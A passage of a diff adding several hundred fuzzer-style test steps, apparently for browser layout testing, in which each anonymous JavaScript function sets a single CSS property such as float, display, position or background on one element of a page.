+{origCount:661, fun:(function anonymous() {allElements[12].style.clear = "left";})},
+{origCount:662, fun:(function anonymous() {allElements[10].style.clear = "right";})},
+{origCount:663, fun:(function anonymous() {allElements[9].style.clear = "none";})},
+{origCount:664, fun:(function anonymous() {allElements[2].style.overflow = "hidden";})},
+{origCount:665, fun:(function anonymous() {allElements[7].style.overflow = "visible";})},
+{origCount:666, fun:(function anonymous() {allElements[4].style.width = "1px";})},
+{origCount:667, fun:(function anonymous() {allElements[11].style.color = "blue";})},
+{origCount:668, fun:(function anonymous() {allElements[8].style.position = "relative";})},
+{origCount:669, fun:(function anonymous() {allElements[12].style.color = "black";})},
+{origCount:670, fun:(function anonymous() {allElements[4].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:671, fun:(function anonymous() {allElements[2].style['float'] = "right";})},
+{origCount:672, fun:(function anonymous() {allElements[10].style['float'] = "left";})},
+{origCount:673, fun:(function anonymous() {allElements[10].style.clear = "right";})},
+{origCount:674, fun:(function anonymous() {allElements[5].style.color = "black";})},
+{origCount:675, fun:(function anonymous() {allElements[2].style.clear = "right";})},
+{origCount:676, fun:(function anonymous() {allElements[5].style.height = "200%";})},
+{origCount:677, fun:(function anonymous() {allElements[8].style.position = "absolute";})},
+{origCount:678, fun:(function anonymous() {allElements[3].style.clear = "none";})},
+{origCount:679, fun:(function anonymous() {allElements[7].style.position = "relative";})},
+{origCount:680, fun:(function anonymous() {allElements[1].style.background = "transparent";})},
+{origCount:681, fun:(function anonymous() {allElements[3].style.position = "static";})},
+{origCount:682, fun:(function anonymous() {allElements[5].style['float'] = "left";})},
+{origCount:683, fun:(function anonymous() {allElements[0].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:684, fun:(function anonymous() {allElements[7].style.display = "-moz-grid-line";})},
+{origCount:685, fun:(function anonymous() {allElements[3].style.background = "transparent";})},
+{origCount:686, fun:(function anonymous() {allElements[9].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:687, fun:(function anonymous() {allElements[3].style.background = "#fcd";})},
+{origCount:688, fun:(function anonymous() {allElements[4].style['float'] = "left";})},
+{origCount:689, fun:(function anonymous() {allElements[5].style['float'] = "none";})},
+{origCount:690, fun:(function anonymous() {allElements[10].style.display = "table-cell";})},
+{origCount:691, fun:(function anonymous() {allElements[12].style.height = "200%";})},
+{origCount:692, fun:(function anonymous() {allElements[3].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:693, fun:(function anonymous() {allElements[3].style.height = "200%";})},
+{origCount:694, fun:(function anonymous() {allElements[2].style.height = "2em";})},
+{origCount:695, fun:(function anonymous() {allElements[8].style.clear = "both";})},
+{origCount:696, fun:(function anonymous() {allElements[11].style.clear = "none";})},
+{origCount:697, fun:(function anonymous() {allElements[6].style.clear = "right";})},
+{origCount:698, fun:(function anonymous() {allElements[9].style.color = "red";})},
+{origCount:699, fun:(function anonymous() {allElements[1].style['float'] = "left";})},
+{origCount:700, fun:(function anonymous() {allElements[12].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:701, fun:(function anonymous() {allElements[10].style.display = "-moz-deck";})},
+{origCount:702, fun:(function anonymous() {allElements[12].style.height = "auto";})},
+{origCount:703, fun:(function anonymous() {allElements[12].style.clear = "none";})},
+{origCount:704, fun:(function anonymous() {allElements[1].style.visibility = "hidden";})},
+{origCount:705, fun:(function anonymous() {allElements[11].style['float'] = "right";})},
+{origCount:706, fun:(function anonymous() {allElements[8].style.overflow = "hidden";})},
+{origCount:707, fun:(function anonymous() {allElements[11].style.display = "-moz-grid-group";})},
+{origCount:708, fun:(function anonymous() {allElements[12].style.color = "black";})},
+{origCount:709, fun:(function anonymous() {allElements[4].style.clear = "right";})},
+{origCount:710, fun:(function anonymous() {allElements[4].style['float'] = "right";})},
+{origCount:711, fun:(function anonymous() {allElements[7].style.height = "auto";})},
+{origCount:712, fun:(function anonymous() {allElements[2].style.clear = "left";})},
+{origCount:713, fun:(function anonymous() {allElements[11].style.clear = "right";})},
+{origCount:714, fun:(function anonymous() {allElements[11].style.display = "table-header-group";})},
+{origCount:715, fun:(function anonymous() {allElements[8].style.height = "2em";})},
+{origCount:716, fun:(function anonymous() {allElements[7].style.color = "green";})},
+{origCount:717, fun:(function anonymous() {allElements[1].style.width = "auto";})},
+{origCount:718, fun:(function anonymous() {allElements[9].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:719, fun:(function anonymous() {allElements[10].style.height = "2em";})},
+{origCount:720, fun:(function anonymous() {allElements[8].style.width = "auto";})},
+{origCount:721, fun:(function anonymous() {allElements[10].style.background = "#fcd";})},
+{origCount:722, fun:(function anonymous() {allElements[9].style.display = "table-row-group";})},
+{origCount:723, fun:(function anonymous() {allElements[8].style.overflow = "scroll";})},
+{origCount:724, fun:(function anonymous() {allElements[2].style.display = "table-caption";})},
+{origCount:725, fun:(function anonymous() {allElements[7].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:726, fun:(function anonymous() {allElements[5].style.visibility = "collapse";})},
+{origCount:727, fun:(function anonymous() {allElements[12].style.position = "absolute";})},
+{origCount:728, fun:(function anonymous() {allElements[9].style.color = "red";})},
+{origCount:729, fun:(function anonymous() {allElements[1].style.display = "table-row";})},
+{origCount:730, fun:(function anonymous() {allElements[6].style.color = "black";})},
+{origCount:731, fun:(function anonymous() {allElements[4].style.visibility = "visible";})},
+{origCount:732, fun:(function anonymous() {allElements[0].style.color = "black";})},
+{origCount:733, fun:(function anonymous() {allElements[0].style.clear = "both";})},
+{origCount:734, fun:(function anonymous() {allElements[8].style['float'] = "none";})},
+{origCount:735, fun:(function anonymous() {allElements[5].style.width = "20em";})},
+{origCount:736, fun:(function anonymous() {allElements[9].style['float'] = "left";})},
+{origCount:737, fun:(function anonymous() {allElements[12].style.height = "10%";})},
+{origCount:738, fun:(function anonymous() {allElements[7].style.height = "10%";})},
+{origCount:739, fun:(function anonymous() {allElements[12].style.color = "black";})},
+{origCount:740, fun:(function anonymous() {allElements[7].style.visibility = "hidden";})},
+{origCount:741, fun:(function anonymous() {allElements[9].style.visibility = "collapse";})},
+{origCount:742, fun:(function anonymous() {allElements[11].style.display = "-moz-inline-box";})},
+{origCount:743, fun:(function anonymous() {allElements[7].style.position = "static";})},
+{origCount:744, fun:(function anonymous() {allElements[0].style.display = "-moz-box";})},
+{origCount:745, fun:(function anonymous() {allElements[11].style.clear = "both";})},
+{origCount:746, fun:(function anonymous() {allElements[4].style.position = "fixed";})},
+{origCount:747, fun:(function anonymous() {allElements[11].style.background = "#fcd";})},
+{origCount:748, fun:(function anonymous() {allElements[0].style.position = "fixed";})},
+{origCount:749, fun:(function anonymous() {allElements[0].style.width = "1px";})},
+{origCount:750, fun:(function anonymous() {allElements[6].style.visibility = "hidden";})},
+{origCount:751, fun:(function anonymous() {allElements[8].style.position = "absolute";})},
+{origCount:752, fun:(function anonymous() {allElements[0].style.color = "green";})},
+{origCount:753, fun:(function anonymous() {allElements[0].style.clear = "both";})},
+{origCount:754, fun:(function anonymous() {allElements[0].style.overflow = "auto";})},
+{origCount:755, fun:(function anonymous() {allElements[6].style.clear = "left";})},
+{origCount:756, fun:(function anonymous() {allElements[10].style.position = "static";})},
+{origCount:757, fun:(function anonymous() {allElements[4].style.background = "#fcd";})},
+{origCount:758, fun:(function anonymous() {allElements[8].style.color = "black";})},
+{origCount:759, fun:(function anonymous() {allElements[0].style.position = "relative";})},
+{origCount:760, fun:(function anonymous() {allElements[12].style.overflow = "auto";})},
+{origCount:761, fun:(function anonymous() {allElements[10].style.visibility = "hidden";})},
+{origCount:762, fun:(function anonymous() {allElements[0].style.visibility = "collapse";})},
+{origCount:763, fun:(function anonymous() {allElements[12].style.height = "100px";})},
+{origCount:764, fun:(function anonymous() {allElements[2].style.overflow = "visible";})},
+{origCount:765, fun:(function anonymous() {allElements[12].style.overflow = "auto";})},
+{origCount:766, fun:(function anonymous() {allElements[10].style.position = "fixed";})},
+{origCount:767, fun:(function anonymous() {allElements[0].style.overflow = "hidden";})},
+{origCount:768, fun:(function anonymous() {allElements[1].style.display = "table-cell";})},
+{origCount:769, fun:(function anonymous() {allElements[7].style.clear = "both";})},
+{origCount:770, fun:(function anonymous() {allElements[8].style.position = "relative";})},
+{origCount:771, fun:(function anonymous() {allElements[10].style.color = "red";})},
+{origCount:772, fun:(function anonymous() {allElements[6].style.display = "-moz-inline-box";})},
+{origCount:773, fun:(function anonymous() {allElements[2].style.overflow = "hidden";})},
+{origCount:774, fun:(function anonymous() {allElements[2].style['float'] = "none";})},
+{origCount:775, fun:(function anonymous() {allElements[0].style.clear = "left";})},
+{origCount:776, fun:(function anonymous() {allElements[12].style.display = "table-cell";})},
+{origCount:777, fun:(function anonymous() {allElements[7].style.background = "transparent";})},
+{origCount:778, fun:(function anonymous() {allElements[2].style['float'] = "right";})},
+{origCount:779, fun:(function anonymous() {allElements[3].style.overflow = "scroll";})},
+{origCount:780, fun:(function anonymous() {allElements[2].style.width = "1px";})},
+{origCount:781, fun:(function anonymous() {allElements[4].style.clear = "both";})},
+{origCount:782, fun:(function anonymous() {allElements[3].style.height = "auto";})},
+{origCount:783, fun:(function anonymous() {allElements[3].style.color = "green";})},
+{origCount:784, fun:(function anonymous() {allElements[10].style.color = "red";})},
+{origCount:785, fun:(function anonymous() {allElements[3].style.position = "static";})},
+{origCount:786, fun:(function anonymous() {allElements[1].style.position = "absolute";})},
+{origCount:787, fun:(function anonymous() {allElements[8].style.height = "100px";})},
+{origCount:788, fun:(function anonymous() {allElements[6].style.overflow = "scroll";})},
+{origCount:789, fun:(function anonymous() {allElements[11].style.position = "relative";})},
+{origCount:790, fun:(function anonymous() {allElements[3].style.display = "-moz-grid-line";})},
+{origCount:791, fun:(function anonymous() {allElements[2].style.visibility = "collapse";})},
+{origCount:792, fun:(function anonymous() {allElements[11].style['float'] = "none";})},
+{origCount:793, fun:(function anonymous() {allElements[11].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:794, fun:(function anonymous() {allElements[7].style['float'] = "right";})},
+{origCount:795, fun:(function anonymous() {allElements[5].style.display = "table-column";})},
+{origCount:796, fun:(function anonymous() {allElements[9].style.background = "transparent";})},
+{origCount:797, fun:(function anonymous() {allElements[12].style['float'] = "right";})},
+{origCount:798, fun:(function anonymous() {allElements[8].style.position = "static";})},
+{origCount:799, fun:(function anonymous() {allElements[0].style.position = "fixed";})},
+{origCount:800, fun:(function anonymous() {allElements[8].style.overflow = "visible";})},
+{origCount:801, fun:(function anonymous() {allElements[10].style.height = "100px";})},
+{origCount:802, fun:(function anonymous() {allElements[0].style.clear = "right";})},
+{origCount:803, fun:(function anonymous() {allElements[9].style.color = "black";})},
+{origCount:804, fun:(function anonymous() {allElements[3].style.width = "1px";})},
+{origCount:805, fun:(function anonymous() {allElements[0].style.clear = "none";})},
+{origCount:806, fun:(function anonymous() {allElements[7].style.width = "200%";})},
+{origCount:807, fun:(function anonymous() {allElements[2].style.overflow = "visible";})},
+{origCount:808, fun:(function anonymous() {allElements[4].style.overflow = "visible";})},
+{origCount:809, fun:(function anonymous() {allElements[5].style.display = "table-row";})},
+{origCount:810, fun:(function anonymous() {allElements[10].style.clear = "none";})},
+{origCount:811, fun:(function anonymous() {allElements[0].style.color = "red";})},
+{origCount:812, fun:(function anonymous() {allElements[5].style.clear = "right";})},
+{origCount:813, fun:(function anonymous() {allElements[5].style['float'] = "none";})},
+{origCount:814, fun:(function anonymous() {allElements[6].style.background = "#fcd";})},
+{origCount:815, fun:(function anonymous() {allElements[12].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:816, fun:(function anonymous() {allElements[3].style.visibility = "visible";})},
+{origCount:817, fun:(function anonymous() {allElements[11].style.clear = "none";})},
+{origCount:818, fun:(function anonymous() {allElements[2].style.visibility = "visible";})},
+{origCount:819, fun:(function anonymous() {allElements[8].style.position = "relative";})},
+{origCount:820, fun:(function anonymous() {allElements[7].style.height = "auto";})},
+{origCount:821, fun:(function anonymous() {allElements[5].style.clear = "both";})},
+{origCount:822, fun:(function anonymous() {allElements[9].style.overflow = "auto";})},
+{origCount:823, fun:(function anonymous() {allElements[9].style.position = "static";})},
+{origCount:824, fun:(function anonymous() {allElements[11].style.position = "absolute";})},
+{origCount:825, fun:(function anonymous() {allElements[9].style.width = "200%";})},
+{origCount:826, fun:(function anonymous() {allElements[7].style['float'] = "none";})},
+{origCount:827, fun:(function anonymous() {allElements[11].style.position = "static";})},
+{origCount:828, fun:(function anonymous() {allElements[0].style.overflow = "hidden";})},
+{origCount:829, fun:(function anonymous() {allElements[5].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:830, fun:(function anonymous() {allElements[6].style.position = "fixed";})},
+{origCount:831, fun:(function anonymous() {allElements[9].style['float'] = "right";})},
+{origCount:832, fun:(function anonymous() {allElements[6].style['float'] = "none";})},
+{origCount:833, fun:(function anonymous() {allElements[2].style.background = "transparent";})},
+{origCount:834, fun:(function anonymous() {allElements[3].style.overflow = "scroll";})},
+{origCount:835, fun:(function anonymous() {allElements[0].style.height = "auto";})},
+{origCount:836, fun:(function anonymous() {allElements[0].style.position = "static";})},
+{origCount:837, fun:(function anonymous() {allElements[8].style.display = "-moz-grid-line";})},
+{origCount:838, fun:(function anonymous() {allElements[4].style.height = "10%";})},
+{origCount:839, fun:(function anonymous() {allElements[5].style.width = "1px";})},
+{origCount:840, fun:(function anonymous() {allElements[4].style.position = "fixed";})},
+{origCount:841, fun:(function anonymous() {allElements[7].style.clear = "none";})},
+{origCount:842, fun:(function anonymous() {allElements[6].style.display = "table-column";})},
+{origCount:843, fun:(function anonymous() {allElements[7].style.visibility = "visible";})},
+{origCount:844, fun:(function anonymous() {allElements[1].style.background = "#fcd";})},
+{origCount:845, fun:(function anonymous() {allElements[7].style.height = "2em";})},
+{origCount:846, fun:(function anonymous() {allElements[5].style.display = "table-column";})},
+{origCount:847, fun:(function anonymous() {allElements[0].style.clear = "both";})},
+{origCount:848, fun:(function anonymous() {allElements[11].style['float'] = "right";})},
+{origCount:849, fun:(function anonymous() {allElements[4].style.visibility = "visible";})},
+{origCount:850, fun:(function anonymous() {allElements[9].style.overflow = "scroll";})},
+{origCount:851, fun:(function anonymous() {allElements[8].style.height = "200%";})},
+{origCount:852, fun:(function anonymous() {allElements[5].style.height = "200%";})},
+{origCount:853, fun:(function anonymous() {allElements[5].style.clear = "none";})},
+{origCount:854, fun:(function anonymous() {allElements[2].style.background = "#fcd";})},
+{origCount:855, fun:(function anonymous() {allElements[12].style.visibility = "hidden";})},
+{origCount:856, fun:(function anonymous() {allElements[4].style.clear = "both";})},
+{origCount:857, fun:(function anonymous() {allElements[8].style.width = "10%";})},
+{origCount:858, fun:(function anonymous() {allElements[4].style.color = "red";})},
+{origCount:859, fun:(function anonymous() {allElements[9].style.height = "10%";})},
+{origCount:860, fun:(function anonymous() {allElements[4].style.visibility = "hidden";})},
+{origCount:861, fun:(function anonymous() {allElements[7].style.clear = "left";})},
+{origCount:862, fun:(function anonymous() {allElements[11].style.background = "#fcd";})},
+{origCount:863, fun:(function anonymous() {allElements[7].style.color = "green";})},
+{origCount:864, fun:(function anonymous() {allElements[1].style.clear = "left";})},
+{origCount:865, fun:(function anonymous() {allElements[12].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:866, fun:(function anonymous() {allElements[6].style.width = "auto";})},
+{origCount:867, fun:(function anonymous() {allElements[1].style.height = "100px";})},
+{origCount:868, fun:(function anonymous() {allElements[3].style.display = "-moz-inline-block";})},
+{origCount:869, fun:(function anonymous() {allElements[5].style.visibility = "visible";})},
+{origCount:870, fun:(function anonymous() {allElements[11].style.color = "blue";})},
+{origCount:871, fun:(function anonymous() {allElements[1].style.position = "static";})},
+{origCount:872, fun:(function anonymous() {allElements[6].style.visibility = "visible";})},
+{origCount:873, fun:(function anonymous() {allElements[7].style.color = "red";})},
+{origCount:874, fun:(function anonymous() {allElements[8].style.color = "blue";})},
+{origCount:875, fun:(function anonymous() {allElements[1].style['float'] = "right";})},
+{origCount:876, fun:(function anonymous() {allElements[6].style['float'] = "right";})},
+{origCount:877, fun:(function anonymous() {allElements[1].style.clear = "left";})},
+{origCount:878, fun:(function anonymous() {allElements[6].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:879, fun:(function anonymous() {allElements[11].style.display = "inline";})},
+{origCount:880, fun:(function anonymous() {allElements[11].style['float'] = "none";})},
+{origCount:881, fun:(function anonymous() {allElements[10].style.color = "black";})},
+{origCount:882, fun:(function anonymous() {allElements[0].style.visibility = "hidden";})},
+{origCount:883, fun:(function anonymous() {allElements[1].style.color = "green";})},
+{origCount:884, fun:(function anonymous() {allElements[4].style.height = "10%";})},
+{origCount:885, fun:(function anonymous() {allElements[2].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:886, fun:(function anonymous() {allElements[0].style.display = "list-item";})},
+{origCount:887, fun:(function anonymous() {allElements[4].style['float'] = "left";})},
+{origCount:888, fun:(function anonymous() {allElements[6].style.overflow = "hidden";})},
+{origCount:889, fun:(function anonymous() {allElements[12].style.clear = "left";})},
+{origCount:890, fun:(function anonymous() {allElements[1].style.clear = "none";})},
+{origCount:891, fun:(function anonymous() {allElements[4].style.clear = "left";})},
+{origCount:892, fun:(function anonymous() {allElements[1].style.position = "relative";})},
+{origCount:893, fun:(function anonymous() {allElements[11].style.position = "absolute";})},
+{origCount:894, fun:(function anonymous() {allElements[12].style.background = "#fcd";})},
+{origCount:895, fun:(function anonymous() {allElements[10].style.position = "relative";})},
+{origCount:896, fun:(function anonymous() {allElements[10].style.display = "-moz-box";})},
+{origCount:897, fun:(function anonymous() {allElements[6].style.position = "fixed";})},
+{origCount:898, fun:(function anonymous() {allElements[1].style.overflow = "scroll";})},
+{origCount:899, fun:(function anonymous() {allElements[3].style.width = "10%";})},
+{origCount:900, fun:(function anonymous() {allElements[3].style.background = "transparent";})},
+{origCount:901, fun:(function anonymous() {allElements[6].style.background = "transparent";})},
+{origCount:902, fun:(function anonymous() {allElements[5].style.visibility = "visible";})},
+{origCount:903, fun:(function anonymous() {allElements[6].style.background = "#fcd";})},
+{origCount:904, fun:(function anonymous() {allElements[0].style.overflow = "scroll";})},
+{origCount:905, fun:(function anonymous() {allElements[7].style['float'] = "none";})},
+{origCount:906, fun:(function anonymous() {allElements[6].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:907, fun:(function anonymous() {allElements[1].style.height = "200%";})},
+{origCount:908, fun:(function anonymous() {allElements[12].style.display = "table-row";})},
+{origCount:909, fun:(function anonymous() {allElements[5].style.height = "10%";})},
+{origCount:910, fun:(function anonymous() {allElements[11].style.position = "relative";})},
+{origCount:911, fun:(function anonymous() {allElements[10].style.display = "-moz-stack";})},
+{origCount:912, fun:(function anonymous() {allElements[7].style.color = "green";})},
+{origCount:913, fun:(function anonymous() {allElements[8].style.clear = "left";})},
+{origCount:914, fun:(function anonymous() {allElements[5].style.clear = "right";})},
+{origCount:915, fun:(function anonymous() {allElements[3].style['float'] = "left";})},
+{origCount:916, fun:(function anonymous() {allElements[8].style.display = "table-header-group";})},
+{origCount:917, fun:(function anonymous() {allElements[12].style.display = "-moz-grid-group";})},
+{origCount:918, fun:(function anonymous() {allElements[8].style.position = "fixed";})},
+{origCount:919, fun:(function anonymous() {allElements[1].style.clear = "none";})},
+{origCount:920, fun:(function anonymous() {allElements[10].style.height = "10%";})},
+{origCount:921, fun:(function anonymous() {allElements[0].style['float'] = "left";})},
+{origCount:922, fun:(function anonymous() {allElements[4].style['float'] = "left";})},
+{origCount:923, fun:(function anonymous() {allElements[0].style.display = "-moz-inline-box";})},
+{origCount:924, fun:(function anonymous() {allElements[8].style.clear = "left";})},
+{origCount:925, fun:(function anonymous() {allElements[6].style.clear = "right";})},
+{origCount:926, fun:(function anonymous() {allElements[0].style.overflow = "hidden";})},
+{origCount:927, fun:(function anonymous() {allElements[9].style.height = "100px";})},
+{origCount:928, fun:(function anonymous() {allElements[11].style.color = "blue";})},
+{origCount:929, fun:(function anonymous() {allElements[0].style.clear = "left";})},
+{origCount:930, fun:(function anonymous() {allElements[6].style.background = "#fcd";})},
+{origCount:931, fun:(function anonymous() {allElements[10].style['float'] = "none";})},
+{origCount:932, fun:(function anonymous() {allElements[3].style.display = "-moz-inline-box";})},
+{origCount:933, fun:(function anonymous() {allElements[4].style.width = "1px";})},
+{origCount:934, fun:(function anonymous() {allElements[5].style.display = "table-row";})},
+{origCount:935, fun:(function anonymous() {allElements[12].style.height = "2em";})},
+{origCount:936, fun:(function anonymous() {allElements[4].style.visibility = "collapse";})},
+{origCount:937, fun:(function anonymous() {allElements[0].style.background = "transparent";})},
+{origCount:938, fun:(function anonymous() {allElements[4].style.background = "#fcd";})},
+{origCount:939, fun:(function anonymous() {allElements[11].style.overflow = "scroll";})},
+{origCount:940, fun:(function anonymous() {allElements[10].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:941, fun:(function anonymous() {allElements[10].style.background = "#fcd";})},
+{origCount:942, fun:(function anonymous() {allElements[0].style.width = "20em";})},
+{origCount:943, fun:(function anonymous() {allElements[1].style.overflow = "scroll";})},
+{origCount:944, fun:(function anonymous() {allElements[5].style.clear = "left";})},
+{origCount:945, fun:(function anonymous() {allElements[3].style.display = "table";})},
+{origCount:946, fun:(function anonymous() {allElements[2].style.display = "table-footer-group";})},
+{origCount:947, fun:(function anonymous() {allElements[6].style.visibility = "visible";})},
+{origCount:948, fun:(function anonymous() {allElements[9].style.display = "-moz-inline-block";})},
+{origCount:949, fun:(function anonymous() {allElements[2].style.clear = "right";})},
+{origCount:950, fun:(function anonymous() {allElements[4].style.overflow = "visible";})},
+{origCount:951, fun:(function anonymous() {allElements[8].style.width = "200%";})},
+{origCount:952, fun:(function anonymous() {allElements[5].style.overflow = "hidden";})},
+{origCount:953, fun:(function anonymous() {allElements[2].style.height = "auto";})},
+{origCount:954, fun:(function anonymous() {allElements[3].style.overflow = "visible";})},
+{origCount:955, fun:(function anonymous() {allElements[2].style.color = "blue";})},
+{origCount:956, fun:(function anonymous() {allElements[2].style.width = "10%";})},
+{origCount:957, fun:(function anonymous() {allElements[11].style.visibility = "collapse";})},
+{origCount:958, fun:(function anonymous() {allElements[7].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:959, fun:(function anonymous() {allElements[9].style.position = "fixed";})},
+{origCount:960, fun:(function anonymous() {allElements[9].style.background = "transparent";})},
+{origCount:961, fun:(function anonymous() {allElements[0].style.clear = "right";})},
+{origCount:962, fun:(function anonymous() {allElements[0].style['float'] = "left";})},
+{origCount:963, fun:(function anonymous() {allElements[1].style.width = "1px";})},
+{origCount:964, fun:(function anonymous() {allElements[9].style.height = "2em";})},
+{origCount:965, fun:(function anonymous() {allElements[3].style.width = "20em";})},
+{origCount:966, fun:(function anonymous() {allElements[1].style.width = "200%";})},
+{origCount:967, fun:(function anonymous() {allElements[10].style.overflow = "hidden";})},
+{origCount:968, fun:(function anonymous() {allElements[9].style.clear = "both";})},
+{origCount:969, fun:(function anonymous() {allElements[2].style.clear = "both";})},
+{origCount:970, fun:(function anonymous() {allElements[9].style['float'] = "left";})},
+{origCount:971, fun:(function anonymous() {allElements[8].style.clear = "left";})},
+{origCount:972, fun:(function anonymous() {allElements[6].style.height = "auto";})},
+{origCount:973, fun:(function anonymous() {allElements[7].style.background = "#fcd";})},
+{origCount:974, fun:(function anonymous() {allElements[4].style.clear = "none";})},
+{origCount:975, fun:(function anonymous() {allElements[2].style.position = "relative";})},
+{origCount:976, fun:(function anonymous() {allElements[8].style['float'] = "left";})},
+{origCount:977, fun:(function anonymous() {allElements[12].style.visibility = "hidden";})},
+{origCount:978, fun:(function anonymous() {allElements[8].style.height = "100px";})},
+{origCount:979, fun:(function anonymous() {allElements[2].style['float'] = "left";})},
+{origCount:980, fun:(function anonymous() {allElements[11].style.clear = "left";})},
+{origCount:981, fun:(function anonymous() {allElements[1].style.color = "blue";})},
+{origCount:982, fun:(function anonymous() {allElements[6].style.height = "100px";})},
+{origCount:983, fun:(function anonymous() {allElements[2].style.overflow = "scroll";})},
+{origCount:984, fun:(function anonymous() {allElements[10].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:985, fun:(function anonymous() {allElements[9].style.clear = "both";})},
+{origCount:986, fun:(function anonymous() {allElements[4].style.height = "10%";})},
+{origCount:987, fun:(function anonymous() {allElements[0].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:988, fun:(function anonymous() {allElements[2].style.background = "transparent";})},
+{origCount:989, fun:(function anonymous() {allElements[4].style.color = "green";})},
+{origCount:990, fun:(function anonymous() {allElements[11].style.color = "green";})},
+{origCount:991, fun:(function anonymous() {allElements[2].style.clear = "left";})},
+{origCount:992, fun:(function anonymous() {allElements[8].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:993, fun:(function anonymous() {allElements[10].style.background = "transparent";})},
+{origCount:994, fun:(function anonymous() {allElements[11].style.overflow = "auto";})},
+{origCount:995, fun:(function anonymous() {allElements[5].style.overflow = "visible";})},
+{origCount:996, fun:(function anonymous() {allElements[11].style.visibility = "collapse";})},
+{origCount:997, fun:(function anonymous() {allElements[7].style.clear = "both";})},
+{origCount:998, fun:(function anonymous() {allElements[12].style.position = "fixed";})},
+{origCount:999, fun:(function anonymous() {allElements[5].style.color = "green";})},
+{origCount:1000, fun:(function anonymous() {allElements[6].style.display = "-moz-box";})},
+{origCount:1001, fun:(function anonymous() {allElements[5].style.overflow = "auto";})},
+{origCount:1002, fun:(function anonymous() {allElements[9].style.height = "2em";})},
+{origCount:1003, fun:(function anonymous() {allElements[11].style['float'] = "left";})},
+{origCount:1004, fun:(function anonymous() {allElements[2].style['float'] = "none";})},
+{origCount:1005, fun:(function anonymous() {allElements[0].style.overflow = "scroll";})},
+{origCount:1006, fun:(function anonymous() {allElements[12].style.background = "transparent";})},
+{origCount:1007, fun:(function anonymous() {allElements[4].style.visibility = "hidden";})},
+{origCount:1008, fun:(function anonymous() {allElements[7].style.overflow = "scroll";})},
+{origCount:1009, fun:(function anonymous() {allElements[1].style.width = "auto";})},
+{origCount:1010, fun:(function anonymous() {allElements[3].style.overflow = "hidden";})},
+{origCount:1011, fun:(function anonymous() {allElements[7].style.display = "table-header-group";})},
+{origCount:1012, fun:(function anonymous() {allElements[5].style.display = "-moz-box";})},
+{origCount:1013, fun:(function anonymous() {allElements[2].style['float'] = "left";})},
+{origCount:1014, fun:(function anonymous() {allElements[3].style.height = "auto";})},
+{origCount:1015, fun:(function anonymous() {allElements[2].style.overflow = "auto";})},
+{origCount:1016, fun:(function anonymous() {allElements[3].style['float'] = "right";})},
+{origCount:1017, fun:(function anonymous() {allElements[0].style.height = "2em";})},
+{origCount:1018, fun:(function anonymous() {allElements[9].style.background = "transparent";})},
+{origCount:1019, fun:(function anonymous() {allElements[11].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:1020, fun:(function anonymous() {allElements[12].style.visibility = "hidden";})},
+{origCount:1021, fun:(function anonymous() {allElements[3].style.clear = "both";})},
+{origCount:1022, fun:(function anonymous() {allElements[3].style.visibility = "visible";})},
+{origCount:1023, fun:(function anonymous() {allElements[4].style.overflow = "auto";})},
+{origCount:1024, fun:(function anonymous() {allElements[12].style['float'] = "right";})},
+{origCount:1025, fun:(function anonymous() {allElements[7].style.display = "table";})},
+{origCount:1026, fun:(function anonymous() {allElements[6].style.color = "blue";})},
+{origCount:1027, fun:(function anonymous() {allElements[2].style.color = "black";})},
+{origCount:1028, fun:(function anonymous() {allElements[1].style.color = "black";})},
+{origCount:1029, fun:(function anonymous() {allElements[8].style['float'] = "right";})},
+{origCount:1030, fun:(function anonymous() {allElements[2].style.display = "-moz-grid-group";})},
+{origCount:1031, fun:(function anonymous() {allElements[1].style.background = "#fcd";})},
+{origCount:1032, fun:(function anonymous() {allElements[12].style.height = "auto";})},
+{origCount:1033, fun:(function anonymous() {allElements[1].style.clear = "both";})},
+{origCount:1034, fun:(function anonymous() {allElements[11].style.width = "auto";})},
+{origCount:1035, fun:(function anonymous() {allElements[10].style.position = "relative";})},
+{origCount:1036, fun:(function anonymous() {allElements[3].style.position = "fixed";})},
+{origCount:1037, fun:(function anonymous() {allElements[8].style.clear = "both";})},
+{origCount:1038, fun:(function anonymous() {allElements[4].style['float'] = "left";})},
+{origCount:1039, fun:(function anonymous() {allElements[11].style.overflow = "auto";})},
+{origCount:1040, fun:(function anonymous() {allElements[7].style.height = "200%";})},
+{origCount:1041, fun:(function anonymous() {allElements[11].style.width = "200%";})},
+{origCount:1042, fun:(function anonymous() {allElements[3].style.overflow = "visible";})},
+{origCount:1043, fun:(function anonymous() {allElements[0].style.position = "fixed";})},
+{origCount:1044, fun:(function anonymous() {allElements[8].style.clear = "none";})},
+{origCount:1045, fun:(function anonymous() {allElements[7].style.width = "10%";})},
+{origCount:1046, fun:(function anonymous() {allElements[2].style.height = "100px";})},
+{origCount:1047, fun:(function anonymous() {allElements[12].style.clear = "left";})},
+{origCount:1048, fun:(function anonymous() {allElements[2].style.overflow = "visible";})},
+{origCount:1049, fun:(function anonymous() {allElements[4].style.background = "transparent";})},
+{origCount:1050, fun:(function anonymous() {allElements[11].style['float'] = "none";})},
+{origCount:1051, fun:(function anonymous() {allElements[3].style['float'] = "right";})},
+{origCount:1052, fun:(function anonymous() {allElements[9].style.height = "auto";})},
+{origCount:1053, fun:(function anonymous() {allElements[11].style.display = "-moz-grid";})},
+{origCount:1054, fun:(function anonymous() {allElements[0].style.position = "fixed";})},
